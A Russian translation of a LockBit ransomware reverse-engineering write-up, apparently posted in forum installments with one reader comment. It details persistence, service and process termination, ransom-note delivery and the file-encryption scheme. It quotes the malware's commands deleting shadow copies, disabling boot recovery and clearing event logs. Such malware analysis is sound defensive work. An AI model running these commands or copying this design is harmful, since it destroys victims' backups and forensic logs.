Сначала вредоносное ПО разрешает строку стека "{\%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}" и форматирует его, используя свой открытый ключ. Эта отформатированная строка будет использоваться в качестве имени значения для настройки раздела реестра постоянства.

1648333262733.png


Затем вредоносное ПО вызывает RegQueryValueExW для получения данных из раздела реестра, указанного выше. В случае успеха LockBit проверяет правильность данных, вызывая lstrcmpiW для сравнения их с путем к исполняемому файлу вредоносного ПО. Если получить данные не удается из-за того, что значение реестра не задано или данные внутри неверны, вредоносная программа вызывает RegSetValueExW, чтобы установить для данных свой собственный путь для обеспечения постоянства.

1648333273154.png


После завершения шифрования вредоносная программа удаляет этот ключ сохранения, вызывая RegDeleteValueW, чтобы предотвратить повторный запуск, если пользователь решит перезапустить зашифрованную машину.

1648333283297.png


Установка значка LockBit по умолчанию

Поскольку все файлы, зашифрованные с помощью LockBit, имеют расширение .lockbit, вредоносная программа пытается изменить реестр, чтобы настроить значок по умолчанию для этого расширения, используя встроенный файл значка в памяти. Это выполняется только в том случае, если вредоносное ПО имеет права администратора и установлен флаг конфигурации с индексом 7.

1648333294800.png


Во-первых, LockBit разрешает строку стека "\??\C:\windows\system32\%02X%02X%02X.ico" и форматирует ее, используя свой открытый ключ.

1648333308138.png


Затем, используя этот путь к файлу, вредоносное ПО вызывает NtCreateFile для получения дескриптора этого файла в папке System32. Он также вызывает NtWriteFile для записи содержимого файла внедренного значка в этот файл.

1648333321021.png


Затем LockBit разрешает строку стека "\Registry\Machine\Software\Classes\.lockbit" и вызывает NtCreateKey для создания этого раздела реестра, соответствующего расширению ".lockbit".

1648333332027.png


Если приведенный выше раздел реестра создан успешно, LockBit разрешает строку стека "\Registry\Machine\Software\Classes\.lockbit\DefaultIcon", вызывает NtCreateKey для создания этого раздела реестра и вызывает NtSetValueKey для установки данных значения DefaultIcon. к пути к файлу значка в System32.

1648333343851.png


Наконец, LockBit разрешает и вызывает SHChangeNotify с идентификатором события SHCNE_ASSOCCHANGED, чтобы уведомить систему об изменении ассоциации типов файлов, которая обновляет все файлы с расширением .lockbit, чтобы они имели этот конкретный значок.

1648333355026.png


Очистка системы перед шифрованием

Перед запуском потока для очистки системы перед шифрованием LockBit пытается получить привилегию SeDebugPrivilege. Эта привилегия позволяет вредоносным программам отлаживать и свободно получать доступ к другим процессам в системе.

Во-первых, он вызывает NtOpenProcessToken для получения собственного маркера процесса, LookupPrivilegeValueA для получения локального уникального идентификатора (LUID) привилегии SeDebugPrivilege и NtAdjustPrivilegesToken для предоставления этой привилегии себе.

1648333368414.png


Остановка служб

Перед остановкой всех служб в списке служб конфигурации LockBit разрешает и вызывает Wow64DisableWow64FsRedirection, чтобы отключить перенаправление файловой системы. Затем он вызывает OpenSCManagerA для получения дескриптора диспетчера управления службами. Используя дескриптор, LockBit выполняет итерацию по списку служб конфигурации и вызывает OpenServiceA для получения дескриптора каждой службы.

1648333380360.png


Затем LockBit вызывает QueryServiceStatusEx, чтобы запросить статус процесса службы. Если состояние службы SERVICE_STOPPED, она переходит к следующей службе в списке.

1648333394913.png


Если статус службы — SERVICE_STOP_PENDING, LockBit вычисляет время сна на основе подсказки об ожидании и ждет, пока статус ожидания не закончится. После вызова Sleep вредоносное ПО вызывает QueryServiceStatus, чтобы проверить, остановлена ли служба.

1648333405377.png


LockBit не ждет вечно, если статус SERVICE_STOP_PENDING сохраняется. Он вызывает GetTickCount в начале и каждый раз, когда он проверяет наличие сигнала SERVICE_STOPPED. Если разница во времени (таймаут) превышает 30 секунд, вредоносное ПО переходит к следующему сервису.

1648333420112.png


Если статус службы не SERVICE_STOP_PENDING или SERVICE_STOPPED, LockBit пытается ее остановить.

Во-первых, вредоносное ПО пытается остановить все зависимые службы целевой службы. Для этого он вызывает EnumDependentServicesA для дескриптора службы, чтобы получить массив ENUM_SERVICE_STATUSA для всех зависимых служб.

1648333432394.png


Для каждой зависимой службы LockBit вызывает OpenServiceA с ее именем, чтобы получить ее дескриптор от диспетчера управления службами. Затем он вызывает ControlService для отправки сигнала SERVICE_CONTROL_STOP для остановки зависимой службы. После отправки сигнала LockBit выполняет ту же процедуру проверки состояния, что и выше, чтобы убедиться, что каждая зависимая служба полностью остановлена, прежде чем двигаться дальше.

1648333442619.png


Наконец, LockBit вызывает ControlService, чтобы отправить сигнал SERVICE_CONTROL_STOP для остановки основного сервиса.

1648333453000.png
 
Вот интриганы. Ну скажем, можно выбрать случайные 4096/16 (делим на размер блока AES) фрагментов файла. То есть 256 фрагментов. При этом файлы хранятся в блоках 512 байт (а где-то и 4К). В итоге окажется прочитано и записано 256*512=131072, то есть 128 килобайт (а где-то мегабайт). Операции с устройствами хранения влияют на скорость существеннее, чем криптографическое преобразование. Что-то тут не то. Если это заявили представители группы в рекламных целях и что бы слегка запарить мозг конкрутентам, это одно. Если это пишет реверсер, то он малость недореверсил. Смысл вообще разбираться, как там происходит импорт? Это и так понятно без дизассемблера.
Feel free to check out my full blog where I analyzed how the encryption chunking works here https://chuongdong.com/reverse engineering/2022/03/19/LockbitRansomware/. Currently yashechka is translating the rest, so you can also wait for that too :)
 
Завершение процессов

Чтобы завершить все процессы в списке процессов конфигурации, LockBit вызывает CreateToolhelp32Snapshot, чтобы получить дескриптор моментального снимка для всех системных процессов.

1648343839449.png


Затем вредоносное ПО вызывает Process32First и Process32Next с дескриптором моментального снимка для перечисления всех процессов в системе. Для каждого процесса он вызывает PathRemoveExtensionA, чтобы удалить расширение файла процесса, и lstrcmpiA, чтобы сравнить имя процесса с каждым в списке процессов конфигурации. Если имя процесса есть в списке, LockBit вызывает функцию для его завершения.

1648343852419.png


Чтобы завершить процесс, LockBit вызывает CreateToolhelp32Snapshot для получения дескриптора моментального снимка и Process32First/Process32Next для перечисления всех процессов. Для каждого найденного процесса вредоносное ПО сравнивает идентификатор процесса с идентификатором цели, чтобы найти целевой процесс. Затем LockBit вызывает OpenProcess с идентификатором целевого процесса, чтобы получить дескриптор процесса, и вызывает NtTerminateProcess, чтобы завершить его.

1648343868315.png


Удаление резервных копий

Чтобы удалить теневые копии, LockBit сначала разрешает следующую строку.

/c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no

Затем он передает соответствующие поля в ShellExecuteA для запуска этой команды с помощью cmd.exe. Эта команда использует vssadmin и wmic для удаления всех теневых копий и bcdedit для отключения восстановления файлов.

1648343892723.png


Затем LockBit разрешает следующие строки стека в массив строк.

- /c vssadmin Delete Shadows /All /Quiet
- /c bcdedit /set {default} recoveryenabled No
- /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
- /c wmic SHADOWCOPY /nointeractive
- /c wevtutil cl security
- /c wevtutil cl system
- /c wevtutil cl application


Наконец, он перебирает этот массив и вызывает CreateProcessA для запуска этих команд из cmd.exe. Помимо уже запущенных ранее команд, команды wevtutil удаляют все события из журналов безопасности, системы и приложений.

1648343912090.png


Печать записки о выкупе на принтеры

Если установлен флаг конфигурации с индексом 8, вредоносная программа пытается распечатать записку о выкупе на принтерах, к которым подключена машина.

Чтобы распечатать записку о выкупе на физических принтерах, LockBit сначала вызывает EnumPrintersW, чтобы получить информацию о принтере. Используя перечислитель для перечисления имен принтеров, вредоносная программа вызывает функцию для печати записки о выкупе на каждом принтере.

1648343928771.png


Внутренняя функция разрешает две строки "Microsoft Print to PDF" и "Microsoft XPS Document Writer", вызывает lstrcmpiW для сравнения их с именем принтера. Если имя принтера одно из этих двух, функция завершает работу, и записка о выкупе не печатается. Это делается для того, чтобы не печатать примечание о выкупе в файл в системе, а распечатывать примечание только на физические принтеры, к которым подключена машина.

1648343939886.png


Затем LockBit заполняет DOC_INFO_1 именем принтера и типом данных печати как "RAW". Затем он вызывает StartDocPrinter, чтобы уведомить диспетчер очереди печати о том, что документ должен быть поставлен в очередь для печати, и StartPagePrinter, чтобы уведомить диспетчер очереди печати о том, что страница будет напечатана.

1648343953273.png


1648343971528.png


Наконец, LockBit вызывает WritePrinter, чтобы распечатать примечание о выкупе физически на принтере.

1648343981459.png


Настройка обоев

Чтобы установить обои на компьютере жертвы, вредоносное ПО сначала выполняет некоторые растровые махинации, чтобы создать изображение обоев с текстами, чтобы уведомить жертву о том, что их файлы были зашифрованы. Поскольку функция создания этого растрового изображения вручную почти так же раздражает, как и функция настройки пользовательского интерфейса окна журнала, я просто скажу, что это какая-то колдовская штука вуду, и притворюсь, что обои волшебным образом сгенерированы в этом анализе!

После создания изображения обоев LockBit вызывает GetTempPathW и GetTempFileNameW для получения пути к временному файлу в папке %TEMP%.

1648343995568.png


С растровым объектом обоев вредоносное ПО вызывает GdipSaveImageToFile, чтобы сохранить растровое изображение во временный файл с помощью декодера Bitmap.

Затем LockBit разрешает строку "Панель управления\Desktop" и вызывает RegOpenKeyA для получения дескриптора ключа реестра с этим именем. С помощью дескриптора ключа реестра он вызывает RegSetValueExA, чтобы установить стиль обоев на "2" и свойство TileWallpaper на "0".

1648344009725.png


Наконец, вредоносная программа вызывает SystemParametersInfoW, чтобы установить обои рабочего стола на сохраненные обои, временный путь которых дополнен ".bmp".

1648344024906.png


Ниже приведены сгенерированные обои Bitmap.

1648344033522.png


Помещение файла приложения Ransom HTML

Помимо удаления заметок о выкупе и смены обоев рабочего стола, LockBit также добавляет в систему файл HTML-приложения (HTA) и настраивает ключи реестра для открытия файла при каждом запуске зашифрованного файла с расширением .lockbit.

Во-первых, вредоносное ПО генерирует полный путь для файла, вызывая SHGetFolderPathW для получения текущего пути к папке и добавляя в конец "\LockBit_Ransomware.hta".

1648344047131.png


Все содержимое файла HTA разрешается как строка стека, поэтому у IDA и декомпилятора возникают проблемы с отображением этой функции. Это отстой, потому что мне нужно пропатчить это, чтобы иметь возможность анализировать остальную часть функции.

1648344058546.png


После разрешения содержимого файла LockBit вызывает CreateFileW для создания файла HTA по пути и вызывает WriteFile для записи в него.

1648344069484.png


Затем вредоносное ПО настраивает ключи реестра для открытия файла HTA при каждом запуске зашифрованного файла с расширением .lockbit.

Сначала LockBit разрешает следующие строки и вызывает NtCreateKey для создания соответствующих им разделов реестра.

\Registry\Machine\Software\Classes\Lockbit
\Registry\Machine\Software\Classes\Lockbit\DefaultIcon
\Registry\Machine\Software\Classes\Lockbit\shell
\Registry\Machine\Software\Classes\Lockbit\shell\Open
\Registry\Machine\Software\Classes\Lockbit\shell\Open\Command


Для ключа реестра DefaultIcon вредоносное ПО разрешает путь к файлу значка аналогично разделу Set LockBit Default Icon (https://chuongdong.com/reverse engineering/2022/03/19/LockbitRansomware/#set-lockbit-default-icon) и устанавливает его в значение ключа реестра.

Затем он разрешает строку "C:\Windows\system32\mshta.exe" "%s"", которая содержит команду для запуска mshta.exe, исполняемого файла Windows, используемого для выполнения файлов HTA, и форматирует его с удаленным файлом HTA. Затем вредоносная программа вызывает NtSetValueKey, чтобы установить в этой строке данные раздела реестра \Registry\Machine\Software\Classes\Lockbit\shell\Open\Command. При этом всякий раз, когда запускается файл с расширением .lockbit, mshta.exe автоматически открывает удаленный файл HTA.

1648344094801.png


Ниже приведен дроп файл HTA.

1648344106450.png


LockBit также устанавливает персистенс для запуска файла при каждой загрузке системы. Вредоносная программа делает это, разрешая путь реестра "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" и устанавливая свой ключ "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" в путь к файлу HTA.

Шифрование файлов

Монтирование томов на дисках


Перед шифрованием файлов LockBit вызывает FindFirstVolumeW и FindNextVolumeW для перебора томов на машине жертвы.

1648344139777.png


Для каждого найденного имени тома вредоносная программа вызывает GetVolumePathNamesForVolumeNameW, чтобы получить список букв дисков и путей к подключенным папкам для указанного тома. Он также вызывает GetDriveTypeW для проверки типа тома. LockBit избегает монтирования тома, если его тип не DRIVE_REMOVABLE и DRIVE_FIXED или если он имеет более 4 путей к папкам.

1648344152406.png


Затем LockBit преобразует и форматирует строку "%s\bootmgr" с именем тома, чтобы получить путь bootmgr для указанного тома. Он вызывает CreateFileW с флагом OPEN_EXISTING, чтобы проверить, есть ли на томе файл bootmgr, и пропускает его, если это не так.

1648344375934.png
131

Затем вредоносное ПО перебирает каждый путь к диску, используя строку формата "%C:", и каждый раз форматирует ее с буквой диска от Z до A. Для каждого пути к диску вредоносное ПО пытается вызвать SetVolumeMountPointW для подключения тома к определенной букве диска и останавливается после успешного подключения тома к одному из них.

1648344393596.png


Криптография и многопоточная инициализация

Поскольку LockBit использует Libsodium для криптографии с открытым ключом, нам на самом деле не нужно анализировать большую часть криптоинициализации, потому что это просто трэш. Гораздо быстрее просто распознать определенные функции Libsodium, как только мы с ними столкнемся.

1648344427479.png


1648344466558.png


Чтобы функция генерировала случайные данные, LockBit пытается загрузить bcrypt.dll в память с помощью LoadLibraryA, и если это удается, он будет использовать BCryptGenRandom для функции RNG. Если нет, вредоносное ПО просто использует для этого CryptGenRandom.

1648344475549.png


Затем LockBit разрешает и форматирует строку "SOFTWARE\%02X%02X%02X%02X%02X%02X%02X" с помощью своего открытого ключа. Затем оно используется в качестве имени ключа реестра для последующего хранения криптографических ключей жертвы.

1648344486850.png


1648344495933.png


Если RegCreateKeyExW дает сбой, LockBit пропускает установку криптографического ключа реестра на компьютере-жертве.

Во-первых, вредоносная программа вызывает пару crypto_box_keypair от Libsodium, чтобы случайным образом сгенерировать 32-байтовый закрытый ключ и соответствующий 32-байтовый открытый ключ для жертвы. Затем он шифрует 64-байтовый буфер, содержащий открытый и закрытый ключ жертвы, с помощью функции crypto_box_easy Libsodium и стирает закрытый ключ жертвы из памяти.

1648344505161.png


Процедура шифрования показана ниже. Для каждого шифрования пара открытого и закрытого ключей генерируется с использованием того же алгоритма, что и выше, и для простоты мы будем называть это парой открытого и закрытого ключей зашифрованного ящика. Затем вредоносная программа генерирует одноразовый номер для функции crypto_box_easy путем хеширования открытого ключа ящика, к которому добавляются первые 8 байтов данного открытого ключа, и вызывает функцию crypto_box_easy для шифрования данных с использованием закрытого ключа ящика и заданного открытого ключа.

1648344522513.png


Зашифрованный результат возвращается в следующем формате:

struct encrypted_box {
byte box_public_key[0x20];
byte box_encrypted_data[input_size + 0x10];
}


В этом случае зашифрованные данные хранят зашифрованную пару открытого и закрытого ключей жертвы, и мы будем называть это ящиком сеанса. Для этого дешифратор LockBit может вызвать функцию crypto_box_open_easy Libsodium, используя свой закрытый ключ и открытый ключ ящика для расшифровки своих зашифрованных данных. Конечно, генерация одноразового номера при расшифровке тоже проста, потому что LockBit имеет доступ как к собственному открытому ключу, так и к открытому ключу ящика.

Если приведенный выше раздел реестра успешно создан/открыт, LockBit не создает и не шифрует эти ключи. Вместо этого он вызывает RegQueryValueExA, чтобы запросить их в памяти. Поле сеанса хранится в данных "Закрытого" ключа, а открытый ключ жертвы хранится в данных "Открытого" ключа, если они существуют.

1648344571905.png


Если запрос к реестру не удался, вредоносное ПО генерирует пару открытого и закрытого ключей жертвы, шифрует их и вызывает RegSetValueExA для установки соответствующих ключей реестра.


1648344583388.png


После настройки криптографических ключей LockBit инициализирует настройку многопоточности для шифрования. Он вызывает NtCreateIoCompletion для создания порта завершения ввода-вывода и CreateThread для порождения дочерних потоков для шифрования. Количество дочерних потоков равно количеству процессоров в системе, которые он извлекает из PEB.

Для каждого дочернего потока вредоносное ПО вычисляет маску сходства, используя его индекс в массиве потоков. С маской LockBit вызывает NtSetInformationThread, чтобы установить маску сходства процессора для конкретного дочернего потока. Это регистрирует привязку дочернего потока к одному конкретному процессору, так что поток будет выполняться только на этом назначенном процессоре. Это обеспечивает сходство кеша с дочерним потоком, чтобы иметь теплый кеш, что значительно снижает количество промахов кеша и повышает производительность, когда дочерний поток запланирован для запуска.

1648344596768.png


Функциональность функции дочернего потока обсуждается в следующем разделе "Дочерний поток". (https://chuongdong.com/reverse engineering/2022/03/19/LockbitRansomware/#child-thread)

Обход локального диска

Чтобы просмотреть все локальные диски, LockBit вызывает GetLogicalDrives для получения битовой маски, представляющей доступные в данный момент диски. Используя битовую маску, вредоносное ПО проверяет каждый бит, чтобы пропустить обработку недоступных дисков.

1648344609661.png


Для каждого доступного диска вредоносная программа вызывает GetDriveTypeW для проверки и исключения дисков, тип которых не является DRIVE_FIXED, DRIVE_REMOVABLE и DRIVE_RAMDISK.

1648344620392.png


Затем, после разрешения имени каждого диска, LockBit порождает поток для его обхода. Дескриптор потока добавляется в глобальную структуру массива потоков для последующей очистки.

1648344633458.png


Чтобы обойти каждый диск, вредоносное ПО сначала сравнивает имя диска с "tsclient" и "Microsoft Terminal Services", чтобы избежать их обработки. Имя пройденного диска добавляется в глобальный массив, поэтому для каждого нового обрабатываемого диска LockBit выполняет итерацию по этому массиву и проверяет, присутствует ли там имя диска, чтобы избежать многократного обхода любого диска.

1648344645430.png


Перед обходом диска вредоносное ПО форматирует строку "%s\%02X%02X%02X%02X.lock" с помощью своего открытого ключа, чтобы сгенерировать имя файла с расширением .lock на целевом диске. Поскольку этот файл находится на диске, который используется как признак того, что диск зашифрован, LockBit вызывает CreateFileW, чтобы попытаться создать этот файл на целевом диске. Если файл уже существует, поток вредоносной программы просто немедленно завершается, чтобы избежать одновременного шифрования файла несколькими потоками.

1648344659094.png


1648344668227.png


Когда диск готов к шифрованию, вредоносное ПО добавляет его в глобальный массив дисков, чтобы другие потоки могли его игнорировать.

1648344679791.png


Он также вызывает SHEmptyRecycleBinW для удаления всех файлов из папки "Корзина" диска и GetDiskFreeSpaceW для получения информации о памяти диска для отправки в окно ведения журнала. Кроме того, количество байтов на сектор, полученное из функции, используется в качестве размера блока для шифрования файла.

Чтобы просмотреть диск, LockBit вызывает FindFirstFileExW и FindNextFileW для перечисления всех файлов/папок на диске. Сначала он избегает имен файлов "." и "..", что соответствует текущему и родительскому каталогу диска.

1648344695031.png


Если вредоносная программа находит внутри подпапку с типом FILE_ATTRIBUTE_DIRECTORY, она вызывает CharLowerW и сравнивает имя папки в нижнем регистре со следующими именами, чтобы избежать шифрования.

$Windows.~bt, intel, msocache, $recycle.bin, $windows.~ws, tor browser, boot, windows nt,
msbuild, microsoft, all users, system volume information, perflog, google, application data,
windows, windows.old, appdata, mozilla, microsoft.net, microsoft shared, internet explorer,
common files, opera, windows journal, windows defender, windowsapp, windowspowershell, usoshared,
windows security, windows photo viewer


1648344716054.png


Если имя папки допустимо, LockBit вызывает функцию обхода папки для рекурсивного обхода.

1648344725531.png


Если встречается файл, тип которого не FILE_ATTRIBUTE_SYSTEM, LockBit сравнивает его расширение со следующими расширениями, чтобы избежать шифрования.

.386, .cmd, .ani, .adv, .msi, .msp, .com, .nls, .ocx, .mpa, .cpl, .mod, .hta,
.prf, .rtp, .rpd, .bin, .hlp, .shs, .drv, .wpx, .bat, .rom, .msc, .spl, .msu,
.ics, .key, .exe, .dll, .lnk, .ico, .hlp, .sys, .drv, .cur, .idx, .ini, .reg,
.mp3, .mp4, .apk, .ttf, .otf, .fon, .fnt, .dmp, .tmp, .pif, .wav, .wma, .dmg,
.iso, .app, .ipa, .xex, .wad, .msu, .icns, .lock, .lockbit, .theme, .diagcfg,
.diagcab, .diagpkg, .msstyles, .gadget, .woff, .part, .sfcache, .winmd

1648344756813.png


LockBit также избегает шифрования файла, если его имя находится в следующем списке файлов.

ntldr, ntuser.dat.log, bootsect.bak, autorun.inf, thumbs.db, iconcache.db, restore-my-files.txt

Если атрибут файла — FILE_ATTRIBUTE_READONLY, LockBit вызывает SetFileAttributesW, чтобы установить его в FILE_ATTRIBUTE_NORMAL, чтобы иметь возможность шифровать данные и записывать их. Наконец, он вызывает функцию для настройки файловой структуры, которая будет отправлена дочерним потокам для шифрования через порт завершения ввода-вывода.

1648344775310.png


Ниже приведено примерное воссоздание общей файловой структуры размером ровно 24656 байт.

struct __declspec(align(8)) LOCKBIT_FILE_STRUCT
{
byte AES_IV[16];
byte AES_key[16];
uint64_t file_size;
uint32_t block_size;
uint32_t chunk_count;
HANDLE file_handle;
UNICODE_STRING file_NT_path_name;
DWORD chunk_size;
LARGE_INTEGER last_chunk_offset;
DWORD number_of_chunks_allocated;
DWORD unk2;
LOCKBIT_CHUNK_STRUCT chunk_structs[512];
};


Во-первых, поскольку каждый файл зашифрован фрагментами, вредоносное ПО вычисляет размер фрагментов на основе размера блока (который также является количеством байтов в секторе). Если размер блока не получен успешно, размер блока по умолчанию устанавливается равным 512 байтам.

1648344794963.png


Затем LockBit добавляет зашифрованное расширение ".lockbit" в конец имени файла и вызывает RtlDosPathNameToNtPathName, чтобы установить имя пути в поле file_NT_path_name файловой структуры.

Он также вызывает NtCreateFile, чтобы получить дескриптор файла для целевого файла, чтобы установить поле file_handle структуры, и если это не удается, вредоносная программа пытается завершить все процессы, использующие файл.

1648344811801.png


Чтобы прекратить работу владельцев файлов, LockBit вызывает NtOpenFile для получения дескриптора файла и вызывает NtQueryInformationFile для запроса класса информации о файле FileProcessIdsUsingFileInformation для получения списка идентификаторов процессов, обращающихся к файлу. LockBit вызывает NtQuerySystemInformation для запроса всех запущенных процессов в системе и перебирает каждый, пока не найдет процессы, которые обращаются к файлу.

1648344826279.png


1648344839892.png


Для каждого из этих процессов вредоносное ПО извлекает имя исполняемого файла, хэширует его с помощью ROR13 и сравнивает со списком хэшей процессов, которых следует избегать.

1648344850985.png


Ниже приведен список хэшей, которые следует избегать завершения.

0x2C99BB9E, 0xE3040AC3, 0xDFF94C0E, 0x230D4C0F, 0xEDFFA2DF, 0x7679DAD9, 0xDFD4E1B0, 0x2C03BAC0, 0xB2E7021A, 0xA2DB72B9, 0x2BC94C0F, 0x6C916B9F, 0x5FC881AB, 0x6318437E, 0x32FB431E, 0xEEF7FBA3, 0x3CE08834, 0x4A00E40D, 0x86059875, 0x728CB221, 0x5E2D07A0, 0x2903F2AF, 0x33FB126D, 0x6895E8E4, 0x39DB8E34

Теперь я могу сидеть здесь и пытаться угадать, какому процессу соответствует каждый из этих хэшей, но вы знаете, что они говорят (
) .

Если хэш имени процесса отсутствует в приведенном выше списке, LockBit извлекает его идентификатор и вызывает NtTerminateProcess для его завершения.

1648344878425.png


Затем вредоносное ПО вызывает NtCreateFile, чтобы снова попытаться получить дескриптор файла. После успешного выполнения этого LockBit вызывает NtSetInformationFile с информационным классом FileCompletionInformation, чтобы связать общую структуру файла с портом завершения ввода-вывода для связи с дочерними потоками.

1648344889590.png


Он также устанавливает поля структуры file_size, chunk_size, block_size. Поскольку последний записываемый фрагмент будет содержать нижний колонтитул файла LockBit, вредоносная программа также вычисляет соответствующее поле last_chunk_offset и окончательный размер зашифрованного файла. Он также вызывает NtSetInformationFile, чтобы установить для класса сведений о файле FileEndOfFileInformation новый размер файла.

1648344906017.png


Если размер файла слишком велик (больше 0x80000000000000000 байт) или слишком мал (меньше размера фрагмента), в поле chunk_size структуры устанавливается весь размер файла, а в поле chunk_count устанавливается значение 1. Это означает, что для этих файлов LockBit считывает весь файл в 1 фрагмент и шифрует его.

1648344916683.png


Для остальных файлов поле chunk_count также имеет значение 1, что означает, что LockBit шифрует только первые фрагменты для других файлов. Однако для файлов, классифицируемых LockBit как большие файлы, это поле изменяется в зависимости от его расширения и размера.

Следующие расширения относятся к категории больших расширений файлов.

.rar, .zip, .ckp, .db3, .dbf, .dbc, .dbs, .dbt, .dbv, .frm, .mdf, .mrg,
.mwb, .myd, .ndf, .qry, .sdb, .sdf, .sql, .tmd, .wdb, .bz2, .tgz, .lzo,
.db, .7z, .sqlite, .accdb, .sqlite3, .sqlitedb, .db-shm, .db-wal, .dacpac, .zipx, .lzma


Для этих файлов, если размер файла меньше размера фрагмента, файл игнорируется и шифруется только первый фрагмент. Если размер файла больше, чем размер фрагмента, ниже приведены диапазоны размера файла и соответствующее количество фрагментов.

chunk_size ->
0x100000 байт: 2 чанка
0x100000 -> 0x600000 байт: 4 фрагмента
0x600000 -> 0x3200000 байт: 16 чанков
0x3200000 -> 0x6400000 байт: 32 чанка
0x6400000 -> 0x1F400000 байт: 64 чанка
0x1F400000 -> 0x80000000 байт: 128 чанков
0x80000000 -> 0x300000000 байт: 256 чанков
0x300000000 байт или выше: 512 чанков

1648344957973.png


Затем LockBit заполняет структуры LOCKBIT_CHUNK_STRUCT в поле chunk_structs файловой структуры. Количество заполненных структур чанков равно количеству чанков, рассчитанному выше.

struct __declspec(align(8)) LOCKBIT_CHUNK_STRUCT
{
DWORD crypt_state;
PIO_STATUS_BLOCK chunk_IoStatusBlock;
DWORD unk;
byte AES_IV[20];
LARGE_INTEGER byte_offset;
byte *chunk_buffer;
DWORD chunk_size;
};


Сначала вредоносное ПО вызывает функцию RNG для случайной генерации 16-байтового ключа AES и 16-байтового AES IV и записывает их в поля AES_IV и AES_key файловой структуры. Для каждой заполняемой структуры блока LockBit копирует AES IV файловой структуры в свое поле AES_IV. Он также вызывает NtAllocateVirtualMemory для выделения буфера виртуальной памяти с размером порции и устанавливает в поле chunk_buffer указатель буфера. Затем вредоносная программа записывает смещение файла, чтобы начать чтение данных в этот конкретный фрагмент с byte_offset, и это смещение увеличивается на 1 МБ для каждого фрагмента. Это означает, что LockBit шифрует только один блок на каждый 1 МБ в файле.


1648344981714.png


Для каждой заполненной структуры фрагмента LockBit вызывает NtReadFile для чтения данных файла по смещению, заданному byte_offset, с размером, заданным полем chunk_size, в виртуальный буфер в поле chunk_buffer. После этих вызовов каждый фрагмент содержит соответствующий фрагмент файла, который дочерние потоки должны зашифровать и записать обратно в файл. Кроме того, когда LockBit запускает эту файловую операцию ввода-вывода, вызывая NtReadFile, он принимает структуру фрагмента в качестве контекста APC для записи, добавляемой к основному объекту завершения ввода-вывода.

1648345000540.png


LockBit также переименовывает файл перед его шифрованием. Вредонос делает это, заполняя FILE_RENAME_INFORMATION зашифрованным именем файла и вызывая NtSetInformationFile с информационным классом FileRenameInformation.

1648345016408.png


Для контроля перегрузки между рабочими потоками LockBit отслеживает количество файлов, которые активно обрабатываются, в глобальной переменной. Если одновременно обрабатывается более 1000 файлов, вредоносное ПО вызывает Sleep и ждет до тех пор, пока это число не уменьшится.

1648345033667.png


Наконец, файловая структура доставляется дочерним потокам через вызов NtSetInformationFile с информационным классом FileCompletionInformation.

1648345044019.png


Когда диск полностью пройден, LockBit вызывает DeleteFileW, чтобы удалить файл .lock с диска.
 
Дочерние потоки

После создания каждый дочерний поток выполняет вызовы NtRemoveIoCompletion до тех пор, пока не сможет удалить запись из порта завершения ввода-вывода. Как только это будет сделано успешно, поток LockBit получит общую структуру файла в качестве контекста ключа и структуру фрагмента в качестве контекста APC, связанного с конкретной операцией ввода-вывода.

1648400989214.png


Поскольку каждый поток вредоносного ПО получает и обрабатывает по одному блоку за раз через порт завершения ввода-вывода, работа распределяется поровну между всеми потоками. Процесс шифрования делится на несколько различных состояний, и LockBit выполняет процедуру шифрования в зависимости от поля crypt_state структуры фрагмента.

Состояние шифрования № 1

Если поле crypt_state равно 1, LockBit шифрует данные в буфере фрагментов, используя AES-CBC. Ключ AES извлекается из поля AES_key файловой структуры, а AES_IV извлекается из структуры фрагмента.

1648401008108.png


Затем, если размер файла превышает размер чанка, вредоносное ПО устанавливает следующее состояние чанка равное 4. В противном случае размер файла меньше размера фрагмента, что означает, что все данные полностью зашифрованы. В этом случае LockBit создает нижний колонтитул файла и добавляет его в конец чанка. Ниже приведена моя воссозданная структура нижнего колонтитула этого файла.

struct LOCKBIT_FILE_FOOTER_STRUCT
{
struct file_box {
byte file_public_key[0x20];
struct encrypted_file_data {
byte AES_IV[16];
byte AES_key[16];
uint64_t file_size;
uint32_t block_size;
uint32_t chunk_count;
byte encryption_padding[0x10];
} encrypted_file_box;
} file_box;

struct session_box {
byte session_public_key[0x20];
struct encrypted_session_data {
byte victim_public_key[0x20];
byte victim_private_key[0x20];
byte encryption_padding[0x10];
} encrypted_session_data;
} session_box;

byte LockBit_public_key_noncegen[0x8];
byte victim_public_key_noncegen[0x8];
};


Во-первых, используя функцию crypto_box_easy от Libsodium, LockBit шифрует AES IV, ключ AES, размер файла, размер блока и данные о количестве фрагментов в общей файловой структуре с использованием открытого ключа жертвы. Затем он добавляет блок сеанса в нижний колонтитул файла, который содержит открытый ключ для расшифровки данных блока сеанса и зашифрованную пару открытого и закрытого ключей жертвы. Наконец, вредоносная программа добавляет первые 8 байтов собственного открытого ключа первые 8 байт открытого ключа жертвы (для генерации одноразового номера файлового ящика). Затем он устанавливает следующее состояние чанка на 2.

1648401034685.png


Как только данные фрагмента полностью обработаны и записаны, вредоносное ПО вызывает NtWriteFile для запуска операции ввода-вывода для записи данных фрагмента в файл по определенному смещению фрагмента. Он также передает структуру фрагмента обратно в качестве контекста APC, чтобы другие дочерние потоки могли получить ее из порта завершения ввода-вывода для следующего состояния.

1648401044729.png


С такой настройкой колонтитула файла LockBit может расшифровать каждый файл, сначала расшифровав блок сеанса, используя свой собственный закрытый ключ и открытый ключ блока сеанса. Затем он может использовать закрытый ключ жертвы и открытый ключ ящика с файлом, чтобы расшифровать ящик с файлом, чтобы получить ключ AES и IV для расшифровки данных файла.

Состояние шифрования № 2

Просматривая поле number_of_chunks_allocated в общей структуре файла, LockBit может проверить, является ли обрабатываемый блок последним. Если это так, вредоносное ПО вызывает NtSetInformationFile с информационным классом FileRenameInformation, чтобы переименовать файл с зашифрованным расширением .lockbit.

Наконец, поле number_of_chunks_allocated уменьшается, и LockBit перебирает все структуры фрагментов в файловой общей структуре и освобождает буферы виртуальной памяти внутри.

1648401063773.png


1648401073271.png


